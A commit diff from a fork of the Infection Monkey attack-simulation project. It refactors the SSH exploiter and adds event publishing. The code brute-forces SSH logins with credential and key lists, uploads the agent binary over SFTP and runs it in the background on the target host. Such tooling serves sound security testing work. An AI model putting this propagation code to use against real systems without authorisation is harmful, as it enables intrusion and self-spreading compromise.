forked from p15670423/monkey
Merge branch 2269-publish-events-from-sshexec-exploiter into develop
PR #2395
This commit is contained in:
commit
de9b5601d8
|
@ -1,15 +1,27 @@
|
|||
import io
|
||||
import logging
|
||||
from ipaddress import IPv4Address
|
||||
from pathlib import PurePath
|
||||
from time import time
|
||||
from typing import Optional
|
||||
|
||||
import paramiko
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.agent_events import TCPScanEvent
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.credentials import get_plaintext
|
||||
from common.tags import (
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.types import PortStatus
|
||||
from common.utils import Timer
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.exploit import RetrievalError
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
|
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
|
|||
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
SSH_EXPLOITER_TAG = "ssh-exploiter"
|
||||
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "SSH"
|
||||
|
||||
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
|
||||
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
def __init__(self):
|
||||
super(SSHExploiter, self).__init__()
|
||||
|
||||
|
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
timer.reset()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
|
||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||
|
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
|
|||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
logger.error("Failed reading ssh key")
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
return ssh
|
||||
except paramiko.AuthenticationException as err:
|
||||
ssh.close()
|
||||
logger.info(
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
|
||||
error_message = (
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
||||
)
|
||||
logger.info(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
continue
|
||||
except Exception as err:
|
||||
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
|
||||
raise FailedExploitationError
|
||||
|
||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
|
||||
user_password_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_password_list"],
|
||||
|
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
return ssh
|
||||
|
||||
except paramiko.AuthenticationException as err:
|
||||
logger.debug(
|
||||
"Failed logging into victim %r with user" " %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
err,
|
||||
)
|
||||
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
ssh.close()
|
||||
continue
|
||||
except Exception as err:
|
||||
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {self.host} with password: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
|
||||
raise FailedExploitationError
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
port = SSH_PORT
|
||||
port = self._get_ssh_port()
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, port)
|
||||
if not is_open:
|
||||
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
|
||||
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
|
||||
|
||||
logger.info(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
ssh = self._exploit(port)
|
||||
except FailedExploitationError as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
try:
|
||||
self._propagate(ssh)
|
||||
except (FailedExploitationError, RuntimeError) as err:
|
||||
self.exploit_result.error_message = str(err)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
finally:
|
||||
ssh.close()
|
||||
return self.exploit_result
|
||||
|
||||
def _exploit(self, port: int) -> paramiko.SSHClient:
|
||||
try:
|
||||
ssh = self.exploit_with_ssh_keys(port)
|
||||
except FailedExploitationError:
|
||||
try:
|
||||
ssh = self.exploit_with_login_creds(port)
|
||||
except FailedExploitationError:
|
||||
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
|
||||
|
||||
return ssh
|
||||
|
||||
def _propagate(self, ssh: paramiko.SSHClient):
|
||||
agent_binary_file_object = self._get_agent_binary(ssh)
|
||||
if agent_binary_file_object is None:
|
||||
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
if not self.host.os.get("type"):
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running uname os command on victim {self.host}: ({exc})"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
)
|
||||
|
||||
if not agent_binary_file_object:
|
||||
self.exploit_result.error_message = (
|
||||
f"Can't find suitable monkey executable for host {self.host}"
|
||||
)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
raise RuntimeError("Propagation was interrupted")
|
||||
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
|
||||
try:
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
status = ScanStatus.USED
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error uploading file into victim {self.host}: ({exc})"
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
status = ScanStatus.SCANNED
|
||||
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
|
||||
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
|
@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter):
|
|||
monkey_path_on_victim,
|
||||
)
|
||||
)
|
||||
|
||||
if status == ScanStatus.SCANNED:
|
||||
return self.exploit_result
|
||||
raise FailedExploitationError(self.exploit_result.error_message)
|
||||
|
||||
try:
|
||||
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
|
||||
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
timestamp = time()
|
||||
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
|
||||
|
||||
logger.info(
|
||||
|
@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
|
||||
ssh.close()
|
||||
self._publish_propagation_event(timestamp, True)
|
||||
self.add_executed_cmd(cmdline)
|
||||
return self.exploit_result
|
||||
|
||||
except Exception as exc:
|
||||
self.exploit_result.error_message = (
|
||||
f"Error running monkey on victim {self.host}: ({exc})"
|
||||
)
|
||||
error_message = f"Error running monkey on victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
raise FailedExploitationError(error_message)
|
||||
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
|
||||
is_open, _ = check_tcp_port(ip, port)
|
||||
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
|
||||
self.agent_event_queue.publish(
|
||||
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
|
||||
)
|
||||
|
||||
return is_open
|
||||
|
||||
def _get_ssh_port(self) -> int:
|
||||
port = SSH_PORT
|
||||
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
|
||||
port = int(servkey.replace("tcp-", ""))
|
||||
|
||||
return port
|
||||
|
||||
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
|
||||
try:
|
||||
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
|
||||
uname_os = stdout.read().lower().strip().decode()
|
||||
if "linux" in uname_os:
|
||||
self.exploit_result.os = OperatingSystem.LINUX
|
||||
self.host.os["type"] = OperatingSystem.LINUX
|
||||
else:
|
||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||
|
||||
if not uname_os:
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return False
|
||||
except Exception as exc:
|
||||
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
|
||||
return False
|
||||
return True
|
||||
|
||||
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
|
||||
if not self.host.os.get("type") and not self._get_victim_os(ssh):
|
||||
return None
|
||||
|
||||
try:
|
||||
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
|
||||
self.exploit_result.os
|
||||
)
|
||||
except RetrievalError:
|
||||
return None
|
||||
|
||||
return agent_binary_file_object
|
||||
|
||||
def _upload_agent_binary(
|
||||
self,
|
||||
ssh: paramiko.SSHClient,
|
||||
agent_binary_file_object: io.BytesIO,
|
||||
monkey_path_on_victim: PurePath,
|
||||
) -> ScanStatus:
|
||||
try:
|
||||
timestamp = time()
|
||||
with ssh.open_sftp() as ftp:
|
||||
ftp.putfo(
|
||||
agent_binary_file_object,
|
||||
str(monkey_path_on_victim),
|
||||
file_size=len(agent_binary_file_object.getbuffer()),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||
|
||||
return ScanStatus.USED
|
||||
except Exception as exc:
|
||||
error_message = f"Error uploading file into victim {self.host}: ({exc})"
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
self.exploit_result.error_message = error_message
|
||||
return ScanStatus.SCANNED
|
||||
|
||||
def _set_executable_bit_on_agent_binary(
|
||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||
|
|
|
@ -3,6 +3,8 @@ import select
|
|||
import socket
|
||||
import struct
|
||||
import sys
|
||||
from ipaddress import IPv4Address
|
||||
from typing import Optional
|
||||
|
||||
from common.common_consts.timeouts import CONNECTION_TIMEOUT
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
@ -13,7 +15,7 @@ BANNER_READ = 1024
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
"""
|
||||
Checks if a given TCP port is open
|
||||
:param ip: Target IP
|
||||
|
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
|||
sock.settimeout(timeout)
|
||||
|
||||
try:
|
||||
sock.connect((ip, port))
|
||||
sock.connect((str(ip), port))
|
||||
except socket.timeout:
|
||||
return False, None
|
||||
except socket.error as exc:
|
||||
|
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
|
|||
return "tcp-" + str(port)
|
||||
|
||||
|
||||
def get_interface_to_target(dst: str) -> str:
|
||||
def get_interface_to_target(dst: str) -> Optional[str]:
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
|
|
Loading…
Reference in New Issue